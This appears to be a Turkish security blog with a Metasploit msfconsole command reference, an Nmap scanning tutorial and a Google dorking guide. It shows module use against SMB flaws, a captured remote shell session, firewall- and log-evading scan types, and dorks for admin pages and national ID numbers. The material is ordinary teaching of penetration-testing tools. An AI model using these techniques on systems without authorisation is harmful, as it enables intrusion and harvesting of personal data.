Metasploit (Msfconsole) Komutları

Terminalde “msfconsole” komutu ile metasploit aracını çalıştırıyoruz. Eğer banner ve diğer detayları görmek istemezseniz “msfconsole -q” yazabilirsiniz.

“help” komutu ile tüm komutları ve ne işe yaradığını öğrenmeniz mümkün. Gelelim bu listedekilerin ne işe yaradığına. Hepsini aşağıda özet bir biçimde sıraladım. Liste kabarık farkındayım. Ancak bilmeniz gerekenleri kırmızı renkle özellikle belirteceğim. Ne kadar bilirseniz o kadar iyi ama tüm tabloyu ezberlemek de zorunda değilsiniz. Kullanımlarını da tablonun altında göreceksiniz.

Tüm Metasploit (msfconsole) Komutlarının Özet Tablosu

back : Geçerli içerikten geri git pushm :
banner : Metasploit bannerlarını görüntüler. (Şu açılışta karşınıza çıkan rastgele bannerlar.) quit : Konsoldan çıkış.
cd  : Geçerli çalışma dizinini değiştirir. (Linux kullanıcıları bilir.) reload_all : Tanımlanmış tüm modül yollarından tüm modülleri yeniden yükler
color : Msfconsole’da oluşan çıktı renk içerecekse etkinleştirebilirsiniz. rename_job : İşi yeniden adlandırır.
connect : Bir host ile iletişim kurar. resource : Bir dosyada saklanan komutları çalıştır
edit : Seçilen exploiti veya modülü editör ile düzenlemeyi sağlar. route : Trafiğin yönlendirilmesini sağlar.
exit : Konsoldan çıkış. save : Veriyi depolar, kaydeder.
get : search : Exploit, payload ve diğer modülleri aramanızı sağlar.
getg : sessions : Oturumları listeler.
go_pro : Metasploit web GUI’yi başlatır. set : Bir değişkeni, bir değeri ayarlamayı sağlar.
grep : Yine linux kullanıcıları bilir. Search komutu ile çıkan sonuçlardan yalnızca istediklerinizi çıktı yapar. setg : Bir değişkeni, bir değeri global olarak ayarlar. Her modül seçiminde mevcut değişken hep aynı kalır.
info : Modüller hakkında bilgi verir. show : Modülleri listeler.
irb : irb scripting modunu başlatır. sleep : Verilen zaman aralığında işlem yapmaz.
jobs : İşlemleri görüntüler ve yönetir. spool
kill : İşlemi kapatır. threads
load : Eklenti yüklemek için kullanılır. unload : Mevcut eklentiyi kaldırır.
loadpatch : Verilen kaynaktan exploit vb. modülleri yükler. unset : Ayarlanan değişkeni iptal eder.
makerc : Bir dosyaya başlandıktan sonra girilen komutları kaydeder. unsetg : Ayarlanan global değişkeni iptal eder.
popm : En son modülü yığından çıkartır ve aktif hale getirir. use : İsmi verilen modülün seçilip kullanılmasını sağlar.
previous : Mevcut modül olarak önceden yüklenen modülü ayarlar. version : Konsol kütüphanesi sürüm numarasını gösterir.

run ve exploit

Bir modüle dair tüm hazırlığınızı yaptınız. Ve sonunda sistemde çalıştırmak istiyorsunuz. Bu durumda run veya exploit komutunu girmeniz yeterli.

back

Belirli bir modülle çalışmanız bittikten sonra veya bir modülü hata ile seçtiniz ise “back” komutu ile geçerli içeriğin dışına çıkabilirsiniz. Elbette bunu yapmanız şart değil. Bir modülün içindeyken de başka bir modül seçebilirsiniz.

msf auxiliary ( ms09_001_write )> back

background

Bir sisteme sızdınız ve aktif bir oturum yakaladınız. Diğer taraftan başka bir sisteme girmeniz gerekiyor. Bu durumda yakaladığınız aktif oturumu kaybetmeden diğer işlemleri yapmak için “background” komutunu yazmanız yeterli. Arkaplanda erişiminiz devam eder. Tekrar o erişime ihtiyacınız olursa “sessions” komutunu kullanabilirsiniz. Yazının devamında onu da anlattım.

banner

Metasploit açılışta size çeşitli bannerlarından birini gösterir. Diğerlerini görmek isterseniz “banner” yazmanız yeterli.

check

Diyelim ki sistemde bir exploiti, bir zafiyeti denemek istiyorsunuz. Ancak gerçekten sisteme girmeyi değil de sadece kontrol etmeyi istiyorsunuz. Exploitin o sistemde çalışıp çalışmadığını anlamak için parametreleri ayarladıktan sonra check yazmanız yeterli.

msf exploit(ms08_067_netapi) > check
[*] Verifying vulnerable status... (path: 0x0000005a)
[*] System is not vulnerable (status: 0x00000000)
[*] The target is not exploitable.
msf  exploit(ms08_067_netapi) >

color

Metasploit’in çıktılarını renkli veya renksiz bir biçimde tercih edebilirsiniz. Dikkat ederseniz aşağıdaki görselde seçtiğimiz exploit düz renk oldu.

connect

Telnet bağlantısı yapar gibi metasploit üzerinden de başka bir uzak makineye msfconsole içinden bağlanabilirsiniz. SSL, proxy, pivoting ve dosya aktarımını destekler. Connect komutu ile ip adresi ve port numarası belirtmeniz yeterli.

msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)
DD-WRT login:

edit

Edit komutu $VISUAL veya $EDITOR ile mevcut modülü düzenlemenizi sağlar. Varsayılan olarak Vim’de açar.

msf exploit(ms10_061_spoolss) > edit
[*] Launching /usr/bin/vim /usr/share/metasploit-framework/modules/exploits/windows/smb/ms10_061_spoolss.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/windows_error'
...(kodlar devam etmekte)

grep

Linux’taki grep komutuna oldukça benziyor. Örneğin arama işlemini grep ile gerçekleştirerek arama sonuçları içinde kısıtlamalar yapabilirsiniz. Aşağıda oracle aranmıştır ve yalnızca içinde http geçen modüller listelenmiştir.

msf > grep http search oracle

info

Bu komut sayesinde kullanmak istediğiniz modüle dair birçok bilgiye sahip olabilirsiniz.

  • Yazar ve lisans bilgileri
  • Güvenlik açığı referansları (örneğin: CVE, BID, vb.)
  • Modülün sahip olabileceği herhangi bir yük sınırlaması
msf  exploit(ms09_050_smb2_negotiate_func_index) > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index 

       Name: Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
     Module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index
    Version: 14774
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good

Provided by:
  Laurent Gaffie <[email protected]>
  hdm <[email protected]>
  sf <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Windows Vista SP1/SP2 and Server 2008 (x86)

Basic options:
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  RHOST                   yes       The target address
  RPORT  445              yes       The target port
  WAIT   180              yes       The number of seconds to wait for the attack to complete.

Payload information:
  Space: 1024

Description:
  This module exploits an out of bounds function table dereference in 
  the SMB request validation code of the SRV2.SYS driver included with 
  Windows Vista, Windows 7 release candidates (not RTM), and Windows 
  2008 Server prior to R2. Windows Vista without SP1 does not seem 
  affected by this flaw.

References:
  http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3103
  http://www.securityfocus.com/bid/36299
  http://www.osvdb.org/57799
  http://seclists.org/fulldisclosure/2009/Sep/0039.html
  http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx</[email protected]></[email protected]></[email protected]>

jobs

Arkaplanda çalışan modülleri gösterir. “jobs -l” komutu tüm işleri listeler. “jobs -K” tüm işleri kapatır.

kill

“kill 2” formatında kullanılır. “jobs” komutu ile listelenen işlerden istediğiniz birini kapatabilirsiniz. İş numarasını kill komutu ile kullanmanız yeterli.

msf exploit(ms10_002_aurora) > kill 0
Stopping job: 0...

[*] Server stopped.

search

Metasploit üzerinde bir işletim sistemi, bir servis veya bir modül tipi arıyorsunuz. Search komutunu kullanabilirsiniz.

  • “search platform: linux” yazmanız halinde linux platformunda işe yarar modülleri listeler.
  • “search type: auxiliary” şeklinde aramalarla modül tipi belirtebilirsiniz.
  • “search name: mysql” komutu ile mysql geçen modüllerin listelenmesini sağlarsınız.
  • “search author: dookie” komutu ile modülleri, yazan kişiye göre arayabilirsiniz.
  • “search cve(edb,cve,osvdb):****” Bu formatta istediğiniz numara ile arama yapabilirsiniz.
msf > search cve:2011 author:jduck platform:linux

Matching Modules
================

   Name                                         Disclosure Date  Rank     Description
   ----                                         ---------------  ----     -----------
   exploit/linux/misc/netsupport_manager_agent  2011-01-08       average  NetSupport Manager Agent Remote Buffer Overflow

sessions

Bir exploit sayesinde sisteme girdiniz diyelim. Hatta birden fazla sisteme girdiniz. Bu durumda herhangi bir sisteme geçiş yapmak isterseniz “sessions -l” komutu ile aktif oturumları listeleyebilirsiniz. Daha sonra meterpreter çalıştırmak için “sessions -c <id>” komutu girmeniz yeterli. Veya o oturuma geçmek için “sessions -i <id>” komutunu girebilirsiniz.

 

msf exploit(3proxy) > sessions -l

Active sessions
===============

  Id  Description    Tunnel
  --  -----------    ------
  1   Command shell  192.168.1.101:33191 -> 192.168.1.104:4444
msf exploit(3proxy) > sessions -i 1
[*] Starting interaction with 1...

C:WINDOWSsystem32>

set

Bir modül seçtiniz ve kullanmaya başladınız. Gerekli parametreleri girmek istiyorsunuz. Bu durumda “set” komutunu kullanırsınız. Örnek vermek gerekirse : “set RHOST 127.0.0.1”

msf auxiliary(ms09_050_smb2_negotiate_func_index) > set RHOST 172.16.194.134
RHOST => 172.16.194.134

unset

Seçtiğiniz modülün parametresini hatalı girdiniz. Veya o parametreyi boş bırakmak istiyorsunuz. Bu durumda “unset” komutu işinize yarar. Örnek vermek gerekirse : “unset RHOST”. Diğer yandan “unset all” komutu ile modüle ait girdiğiniz tüm parametreleri sıfırlayabilirsiniz.

msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...

setg

Bir hedefe karşı birden fazla modülü test edeceksiniz. Ancak sürekli olarak RHOST girmekten sıkıldınız diyelim. (Bu başka bir parametre de olabilir.) Bu durumda global bir değer atarsınız ve siz aksini söyleyinceye kadar metasploit, hangi modülde RHOST varsa hepsine sizin bir defa verdiğiniz değeri girer. Örneğin : “setg RHOST 127.0.0.1”

show

Bu komut göster anlamına gelmektedir. Aşağıda pekçok örnekte kullandık. Onları incelediğinizde daha iyi anlayacaksınız.

payload

Birçok payload mevcut. Hangisini nerede kullanacağımızı bilemiyoruz. Bu durumda mevcut exploiti seçtikten sonra show payloads yazdığımda exploite uygun payloadları bana listeleyecektir.

msf  exploit(ms08_067_netapi) > show payloads

Compatible Payloads
===================

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
   generic/custom                                                    normal  Custom Payload
   generic/debug_trap                                                normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                                            normal  Generic Command Shell, Bind TCP Inline
...snip...

options

Bir modülü seçtiniz ve kullanmak için hangi parametrelere ihtiyacınız var bilmek istiyorsunuz. “show options” veya “options” yazdığınızda girmeniz gereken parametreler size listelenir. “Required” kısmının altında yes yazanları girmek zorundasınız. No yazanları girmeseniz de modül çalışmayı dener. Ancak no yazanları girerseniz modülün gücüne güç katarsınız. Çalışma imkanı artacaktır.

msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

use

Bir modül seçtiğinizde onu kullanmaya başlamanız için use komutunu kullanıp modülün adresini yazarsınız.

msf > use dos/windows/smb/ms09_001_write

Tab Tuşu

Tab tuşu linuxta büyük kolaylık. Kelimelerinizin birkaç harfinden sonra tab tuşuna basmanız halinde devamı otomatik tamamlanır. Aynı harflerle başlayan birden fazla komut varsa arka arkaya taba basın ve size hepsini sıralasın. Bu sayede tam anımsayamadığınız komutları da hatırlayabilirsiniz.

Bu yazı çok büyük oranda Offensive Security’nin metasploit klavuzundan çevrilmiştir. Açıklamalarda farklılıklar söz konusu. Bire bir çeviri değil.

https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/

Kategoriler
Linux Siber Güvenlik

Detaylı NMAP Kullanımı

Nmap, en basit açıklama ile hedef makinedeki portları tespit etmemizi, onlar hakkında bilgi toplamamızı sağlayan bir araç. Ancak bununla sınırlı değil. Çok daha kapsamlı işler yaptığı gerçek. Ağdaki veya bizim belirlediğimiz ip adreslerindeki işletim sistemini, o makinelerde çalışan servisleri, firewall bulunup bulunmadığı ve ağ haritası gibi veriler oluşturmamız mümkün. Ağırlıklı olarak linux üzerinde kullanılmakla beraber windows ve MacOS için de indirmek mümkün. Hatta Android üzerinden de kullanabilirsiniz. Biz anlatımlarımızı linux üzerinden sürdüreceğiz.Yazıya devam etmeden önce buraya tıklayarak internet protokollerini öğrenmenizi öneririm. Bunları anlamadan komutları anlamanız pek mümkün olmayacaktır. Kurulum kısmını ben pas geçeceğim ancak kolayca yapabilirsiniz. Kaynak bırakacağım.

Genelde pentesterlar ağı keşfetmek, ip adreslerini, ayaktaki makineleri ve açık portları, çalışan servisler ve onların versiyonlarını keşfetmek amacıyla kullanır. Ağ yöneticileri de ağı haritalamak için NMAP kullanır. NMAP alanının en iyisi desek herhalde itiraz eden çıkmaz. Bu taramalar root yetkisi ile yapılırsa daha sağlıklı olacaktır. Diğer yandan bu tarama sonuçları kesin olmayabilir. Manipüle edilebilir. Honeypota çarpmış olabiliriz. Özellikle TCP taraması başlatmadınız ise güvenilir olmayabilir.(Acelemiz yok TCP taramasını anlatacağız ileride.) Diğer yandan taramalar sisteme ciddi bir yük bindirip erişimin kesilmesine sebep olabilir. Bu yüzden dikkat etmek iyi olacaktır. Son olarak aktif keşif yapıyorsunuz. Yani sizinle ilgili her şey log kaydına düşüyor. Sistem sahibi sizi takip ediyor olacaktır. O yüzden izinsiz bir tarama yapmamanızı öneririm. Özellikle ktirik sistemler ise… Bu log kayıtlarından sizin tespit edilmenizi zorlaştıran yöntemler de var tabii. Onları da anlatacağız.

Biz genelde pentest işlemi sırasında nasıl bir yol izleriz?

Öncelikle ağı keşfedeceğiz. Ağdaki açık makineleri tespit edeceğiz. Söz konusu bir domain ise DNS sorgusu ile ip adresini almamız gerek. Daha sonra çalışan makinenin üzerinde at koşturan servislere bir bakacağız neler var. Bu servislerin versiyonları ne? Bunları keşfettikten sonra bu makinenin işletim sistemi nedir, firewall bulunduruyor mu gibi sorulara cevap bulacağız. Daha sonra Firewall varsa onları atlatmaya bakacağız. Tespit ettiğimiz servislerin o versiyonlarındaki açıkları keşfedip uygulamaya koyacağız.

Taramaya Başlamak…

nmap 192.168.1.15

Bu tarama bize hedef sistemin en popüler bin portunu tarar ve çalışan versiyonları servisi ile karşımıza koyar. Bir domain girdiniz ise DNS çözümlemesi yaparak ip adresini de belirtir ve sistemin ayakta olup olmadığını, cihaz ismini verir.

Peki biz tek bir hedef taratmak istemiyorsak? Onun için de aşağıdaki tarama yöntemlerine göz atmak gerekecek.

nmap -A 192.168.1.15

Yukarıdaki taramanın ismi agresif tarama. Bu tarama yukarıda anlattıklarıma ek olarak sistemin işletim sistemini tahmin eder, gönderilen paketin aldığı yolları takip ederek haritalandırır, versiyon tespiti sırasında da nmap scriptlerini kullanır. (Bu script meselesini de anlatacağız.)

Taramada Hedef Belirtmek

  • nmap 192.168.1.1, 192.168.1.22, 192.168.1.34 : Bu şekilde birden fazla adresi tarayabilirsiniz.
  • nmap 192.168.1.1-40 : Bu şekilde 192.168.1.1 adresinden başlayarak sonu 40 olana kadar tüm adresleri tamamlar. Toplamda 40 hedef demektir bu da.
  • nmap 192.168.1.0/24 : Bu tarama ile 192.168.1.x aralığındaki tüm ip adreslerini tarar.
  • nmap -iL hedefler.txt : Bu parametre sayesinde not defterine kaydettiğiniz tüm hedefleri satır satır alarak tarayacaktır.
  • nmap 192.168.1.0/24 –exclude 192.168.1.55 : exclude parametresi sayesinde bir listede taranmasını istemediğiniz adresi listeden çıkartabilirsiniz. Örnekte 192.168.1.55 adresi taramaya dahil edilmeyecektir.
  • nmap 192.168.1.0/24 –exclude list.txt : Bu sayede de tarama yaptığımız ip aralığında, belirtiğimiz listedeki adreslerin tarama dışı kalmasını sağlıyoruz. Not defterindeki hedefler taramaya dahil edilmeyecektir.
  • nmap -6 [hedef] : ipv6 taraması yapmamızı sağlar.

Taramada Port Belirtmek

Peki önce şundan bahsedelim : Port Nedir? Port en basit anlamda sizlerin bilgisayarındaki veri kapılarıdır. Veri akışı onlar sayesinde yapılır.Bilgisayarınızın bir ip adresi var. Ancak birden fazla internete bağlı programla çalışıyorsunuz. Bu durumda nasıl veri akışı gerçekleşecek? Farklı kapılardan, yani farklı portlardan. Toplamda 2 üzeri 16 yani, 65535 adet port açılabilir. Sanıyorum ki bu kadar kapı size fazlasıyla yeter 🙂  En sık kullanılan portlar ve onlarda çalışan default sistemleri aşağıda listeledim. (65535 port TCP ve UDP olarak ayrılıyor. Yani verdiğimiz sayının iki katı söz konusu ya bu ayrı bir yazı konusu. Kafanızı çok takmayın şimdilik.)

  • File Transfer Protocol(FTP) 20/21
  • Secure Shell(SSH) 22
  • Telnet 23
  • Simple Mail Transfer Protocol(SMTP) 25
  • Domain Name System(DNS) 53
  • Domain Host Configuration Protocol(DHCP) 67/68
  • Hypertext Transfer Protocol(HTTP) 80
  • HTTPS 443
  • NetBIOS 137/138/139
  • Internet Message Access Protocol(IMAP) 143
  • Simple Network Management Protocol(SNMP) 161/162
  • Hypertext Transfer Protocol over SSL/TSL(HTTPS) 443

Uzun bir liste : http://www.ciscotr.com/forum/network/428-tum-port-numaralari-list-tcp-udp-port.html

Nihayetinde nmap taraması belirtilmedikçe en popüler ilk bin portu tarar. Ancak biz başka bir portu taramak istiyorsak? Sistem sahibi bir servisin standart çalıştığı port yerine başka bir port girmişse biz o sistemden bihaber olacağız. Veya kapsamlı bir tarama yaparak portların tamamına göz atmak istiyor olabiliriz. İşte bunun için de aşağıdaki parametreler bize çözüm olacak.

  • nmap 192.168.1.15 -p 80 : Bu tarama ile yalnızca 80 portunu tararsınız.
  • nmap 192.168.1.15 -p 80,443,53 : Bu sayede birden fazla port taramanız mümkün.
  • nmap 192.168.1.15 -p 80-100 : Burada da 80 ile 100 arasındaki tüm portları taradık.
  • nmap 192.168.1.15 -p- : Bu da en kapsamlı olanı. Tüm portları tarayacaktır. Kaç adet demiştik? 65535
  • nmap -p ftp,https,telnet 192.168.1.15 : Burada sayısal olarak girmek yerine portları isim olarak girdik. Girdiklerimizi tarayıp sonucu verecektir.
  • nmap -p “http*” 192.168.1.15 : Bu sayede hem http hem de https çalışan portları tararız.
  • nmap 192.168.1.15 –top-ports 400 : Bir şey belirtmememiz halinde NMAP en popüler 1000 portu taramıştı değil mi? Biz en popüler ilk kaç portu tarayabileceğini belirtebiliriz. Tıpkı burada olduğu gibi.
  • nmap -F 192.168.1.15 : Bu sayede de en popüler 100 portu tarayarak hızlı olmasını göz önüne alırsak verimli bir tarama gerçekleştiririz.
  • nmap -r 192.168.1.15 : Bu parametre ile verilen portlar ardışık olarak taranır. Siz bir şey belirtmediniz ise nmap verdiğiniz portları rastgele tarar.

Port Tarama Sonuçları

Gelelim bu portlar tarandığında yazan sonuçların anlamlarına.

  • Open : Port açık demek. Aradığımız şey tam da bu. Bu portun üstünde çalışan sistemin üzerine gidebiliriz.
  • Close : Port kapalı. Ancak nihayetinde böyle bir servis var. Aktif olma ihtimali de var. Yine de şu an üstüne gidemeyiz.
  • Filtered : Açık veya kapalı olduğu net değil. Muhtemelen bir firewall sistemi devrede.
  • Unfiltered : ACK taramalarında karşınıza çıkar. (Bunu da anlatacağız.) Erişilebilir ancak açık olmama ihtimali de var demektir.
  • Open | Filtered : Açıkveya filtreli olup olmadığı tespit edilememiş.
  • Close | Filtered : Kapalı veya filtreli olup olmadığı tespit edilememiş.

Gelişmiş Tarama Türleri

NMAP,sistemde yetkili olup olmamanıza göre farklı standart taramalar yapar. Ancak elbette bu tarama tipini değiştirmemiz de mümkün.

TCP Syn Scan : -sS parametresi kullanılır. Bu şekilde SYN paketleri göndererek tarama yapılır. Log kayıtlarına yakalanmaması garanti edilmez. Günümüzde gelişmiş firewaller tespit edebiliyor fakat bir sonraki bahsedeceğimiz taramaya oranla daha az riskli olduğunu söyleyebiliriz. Yetkili erişiminiz varsa bu tarama türünü standart olarak gerçekleştirir.(Linux’taki root yetkisini örnek verebiliriz evet.)

Örnek kullanım : nmap -sS 192.168.1.15

TCP Connect Scan : -sT parametresi kullanılır. Direk olarak sistemle bağlantı kurduğu için log kayıtlarına düşmemeniz pek de mümkün değil. Ancak Syn Scan taramasına kıyasla daha net sonuçlar elde edersiniz. Örneğin servislerin versiyonlarını ararken daha kesin sonuçlar karşınıza çıkar. Yetkili erişiminiz olmaması halinde bu tarama standart olarak gerçekleşir.

Örnek Kullanım : nmap -sT 192.168.1.15

UDP Scan : -sU parametresi kullanılır. UDP paketleri ile tarama yapar. Birçok servis TCP protokolü ile anlaşırken hala UDP kullanan servisler var. Haliyle mevcut taramanızın yanında UDP taraması yapmak daha kapsamlı bir sonuç üretecektir. Ancak UDP taraması biraz uzun sürecektir.

Örnek kullanım : nmap -sU 192.168.1.15

TCP Null Scan : -sN parametresi kullanılır. Bayrak bulundurmayan boş TCP paketleri gönderir. Yine de log kayıtlarına düşer. Gerçek hayatta olmayan bir senaryodur. Karşı taraftaki güvenlik duvarını atlatmamızı sağlayabilir.

FIN Scan : -sF parametresi ile kullanılır. TCP üçlü el sıkışmasının ilk aşamasını gerçekleştirmez. Burada da amaç, şayet bir güvenlik sistemi varsa sistemden cevap almak için ters köşe yapmaktır diyebiliriz. FIN paketi gönderildiğinde karşı makinenin o portu kapalıysa RST+ACK paketi dönerken, portun açık olması halinde hiçbir tepki verilmez.

Örnek Kullanım : nmap -sF 192.168.1.15

XMAS Scan : -sX parametresi ile kullanılır. Bazı güvenlik duvarlarından sonuç almamızı sağlayabilir. TCP paketinin içine URG, PSH ve FIN bayrakları ekler. Hedef makineden dönen cevap FIN taraması ile aynıdır.

TCP ACK Scan : -sA parametresi kullanılır. Hedef sistemin güvenlik duvarı bulundurup bulundurmadığını tespit etmek için kullanılabilir. Tek vazifesi filtreli ve filtresiz paketleri ayırt etmektir. Kapalı veya açık olma durumlarına bakmaz. Hatırlarsanız üçlü el sıkışmada ACK paketi gönderirdik. Karşı taraf ACK+RST gönderirdi. Sistem gönderdiği paketlere RST ekledi ise filtresiz demektir.

–scanflags : TCP tarama bayraklarını manuel girmek isterseniz kullanabilirsiniz. Örnek kullanım : nmap –scanflags [bayrak_tipi] [hedef]

IP Protocol Scan : -sO parametresi kullanılır. Hedef sistemde desteklenen IP porotokollerini gösterir.(TCP, UDP, ICMP…) Ne tür taramalar yapmak istediğinizi belirlemek için güzel bir çözüm olacaktır.

Keşif & Ping

Bir sistemin çalışır halde olup olmadığını anlamak için ona ping göndeririz. Bu sayede tim ip adreslerini tek tek aramak zorunda kalmayız. Standart bir taramada ICMP isteği gönderilir ve cevaba göre hareket edilir. Ancak güvenlik sistemleri ICMP isteklerini genelde engeller ve siz de buna bir çözüm bulmak için aşağıdaki parametreleri kullanırsınız.

-PN : Bazı güvenlik duvarları ping gönderildiğinde karşılık vermez. Bu durumda -PN parametresini kullanırsanız NMAP, o makineyi ayakta kabul edecek ve taramaya başlayacak.

-sP : İp adresi aralığındaki hangi makineler açık onları listeler ve port taraması yapmaz. Root yetkisi ile çalıştırırsanız yerel bir ağda mac adreslerini de size listeleyecektir.

-PS : Makinelere ping gönderilirken standart olarak 80 portu tercih edilir. Ancak siz bunu değiştirebilirsiniz. Ping göndererek yapılan kontrol işleminde istediğiniz portu seçmeniz mümkün. Örneğin : nmap -PS 80,22,443,25 [hedef]

-PA : Standart durumlarda ICMP taraması gerçekleştiğini söylemiştik. Bu işlem üçlü el sıkışması gibidir. ACK paketleri gönderilmesini sağlar. ICMP engelleyen güvenlik duvarları bulunuyorsa bu tarama biçimi çözüm olabilir.

-PU : UDP paketleri göndermeyi tercih eder. Varsayılan port numarası 40125’tir. Bunu değiştirmeniz de mümkün. Örneğin : nmap -PU 22,25,80,443 [hedef]

-PY : Hedefin Akış Kontrol İletim Protokolünü (SCTP) kullanarak keşif yapar. SCTP ise genelde ip tabanlı telefon sistemlerinde kullanılır. Yine PU’da olduğu gibi port belirtmeniz mümkün.

–traceroute : Bu parametre sayesinde gönderilen paketlerin sizin cihazınızdan çıktıktan sonra dünyanın nerelerini dolaşıp karşı makineye ulaştığını keşfedebilirsiniz.

İşletim Sistemi  ve Servis Versiyonu Keşfi

İşletim Sistemi Keşifleri

-O veya –osscan-guess parametreleri ile işletim sistemlerini tespit edebilirsiniz. NMAP, makineden topladığı tüm verileri bir araya getirerek bir sonuç ortaya koyar. Ancak ikinci seçeneği tercih ederseniz daha agresif davranır ve olasılığı daha yüksek sonuçlar elde edersiniz.

Örnek Kullanım : nmap -O 192.168.1.15

Versiyon Keşifleri

-sV parametresi sayesinde çalışan servislerin versiyonları hakkında bilgi edinebiliriz. Bu parametreyi eklememiz halinde NMAP, servislerden bilgi toplamaya başlar ve sonuçta elde ettiği verileri bir araya getirerek versiyonunu tespit eder.

Örnek kullanım : nmap -sV 192.168.1.15

–version-trace parametresini kullanırsanız versiyon taraması için bilgi toplaması vazifesi ile görevlendirdiğimiz casus paketimizin nereleri dolandığını görebilirsiniz. Bu sayede herhangi bir hatanın tespitini de yapmanız mümkün.

-sR, RPC (remote procedure call) taraması yapmak için kullanılan bir parametredir.

RPC NEDİR : RPC, sunucu ve istemcilerin iletişimi için dizayn edilmiş bir servistir. Kullandığınız herhangi bir uygulama sunucu istemci iletişimine ihtiyaç duyuyor ise eğer RPC servisini kullanabilir. Bir mail server için örnek vermek gerekir ise, istemci yani mail almak veya göndermek isteyen bir makine mail server’ a pop3 ile bağlanarak mail alabilir ve smtp üzerinden mail gönderebilir. Mail server tarafında bu servislerin çalışıyor olması gerekmektedir ki gelen isteklere cevap verebilsinler. Aynı örnekten yola çıkarak Microsoft Exchange Server istemcilere pop3 ve smtp desteği sunuyorken ayrıca iletişim için RPC protokolünüde kullanabilmektedir. Burada RPC istemci ve sunucu arasındaki iletişimi gerçekteştiren servis olarak gözlemlenmektedir ( tabiki mail trafiği ile ilgili olan iletişim ).
Özetle RPC sunucu ve istemci arasında çalışan programların ( yapılan işlemlerin ) iletişimi için dizayn edilmiştir. 

Kategoriler
Siber Güvenlik

Google Dorklarını Kullanarak Bilgi Toplama

Google internet dünyasının köşe bucak her yanını gezen, en ücra yerlerini dahi didik didik eden bir arama motoru. Elbette bir yemek tarifi, bir ödev kaynağı bulabilirsiniz. Bunun yanı sıra kimlik bilgileri, kredi kartları, parolalar, farklı platformlara ait hesaplar ve dokümanlar da temin edebilirsiniz. Ne de olsa onlar da internet dünyasında saklanıyor. Aradığınız her şey mutlaka bir yerlerden çıkıyor bu mutlak. Ancak yaptığınız aramalar her zaman istediğiniz sonucu vermiyor. O zaman Google, sizin aramalarınıza ve web sitelerine nasıl yaklaşıyor, biz daha verimli sonuçlar nasıl elde ederiz bir bakalım. Bu yöntemleri sadece siber güvenlik adına değil, günlük hayatınızda da uygulayarak zamandan tasarruf edebilirsiniz.

GoogleBOT, binlerce web örümceğini sanal aleme salıverir. Bu örümcekler web site sahibi tarafından aksi belirtilmedikçe her sayfanın içeriğini kopyalar. Biz bu kopyalamaya indexlemek diyoruz. Koca internet alemini üç defa kopyalayarak binlerce farklı bilgisayarına yönlendirir ve depolar. Üç petabaytlık manyak bir arşiv demektir bu. Google, bu kadar bilgisayarı, yazılımı sayesinde bir bilgisayarmışçasına yönetir. Yani Google, siz arama yapınca tüm interneti gezmez. Kopyalarını kontrol eder. Bu kopyaları bir saat aralıklarla aldığını söyleyebiliriz. Ancak sitenin ilgisine göre örümceklerin uğrama sıklığı değişebilir. Bu yazıda buralara çok girmeyelim, SEO adı altında daha güzel konuşulabilir bunlar.

Google bu kopya içerikleri aramaya hazır hale getirmek için anahtar kelimelere ayırır. Popülerlik ve aramanızla alakalı olma düzeyine bakar. Siz aradığınız anahtar kelimeye dair binlerce sayfa içerikle karşı karşıya olabilirsiniz. Ancak aradıklarınızın tamamı işinize yaramaz. Burada belli parametreler girerek google dorkları oluşturacağız ve aramaları daha başarılı hale getireceğiz.

Hiçbir ekleme yapmadan bir arama girelim.

Güzel. Sonuçlar geldi karşıma. Ama ben aramayı tamamen “HTTP Message Flow” şeklinde yapmak istemiştim. Bu üç kelime yan yana geçiyorsa lazım. Diğer metinlerin bir orasında bir burasında geçmiş. O zaman tırnak içine alarak bu kelimeleri sana verdiğim şekilde ara diyoruz Google Amca’ya.

Gördüğünüz gibi ilk sıradaki arama elendi bile. Artık karşımızda verilen kelimelerin sırası ile geçtiği metinler yer alıyor.

Öncelikle tüm bu parametreleri kullanmadan bir kullanıcı arayüzü görmek isterseniz şu sayfayı kullanabilirsiniz : https://www.google.com.tr/advanced_search

Gelelim başka parametrelere.

site :  Bu arama ile sadece caglar-celik.com adresine ait içerikleri ararsınız. Farklı sitelerden sonuç göremezsiniz. Aynı zamanda sadece istediğiniz domain uzantısı ile aramaları kısıtlayabilirsiniz. Örneğin “site: .tr” veya “site: .org”

inurl : Tarayıcınızda üst tarafta gördüğünüz url alanının tamamınu kapsar. Url içinde arama yapabilirsiniz. En basit örnek ile “inurl:/admin.php”

intitle : Sayfa başlıklarında arama yapar.

intext : Sayfa içeriğinde arama yapar.

filetype ve ext : Dosya türüne yönelik arama yapar. Pdf, txt, docx veya bambaşka bir dosya türü için arama yapabiliriz. Örneğin “filetype:pdf” veya “ext:txt”

cache : Bu arama ile Google’ın önbelleği üzerinden o siteyi izlemeniz mümkün. Örneğin : “cache: caglar-celik.com”

related : Aramanıza yakın benzer web sayfalarını görebilirsiniz.

author : Bu parametre ile yazar aramamız mükün. Örneğin : “author: arthur conan doyle”

numrange : Bu arama ile belli sayı aralığını aratabilirsiniz. Örneğin TC kimlik numaraları 11 haneli ve biz 11 haneli sayılar arıyoruz. “numrange: 10000000000-99999999999”

daterange : Herhangi iki tarih arasında arama yapabiliriz. Örneğin “daterange: 1980-1990”

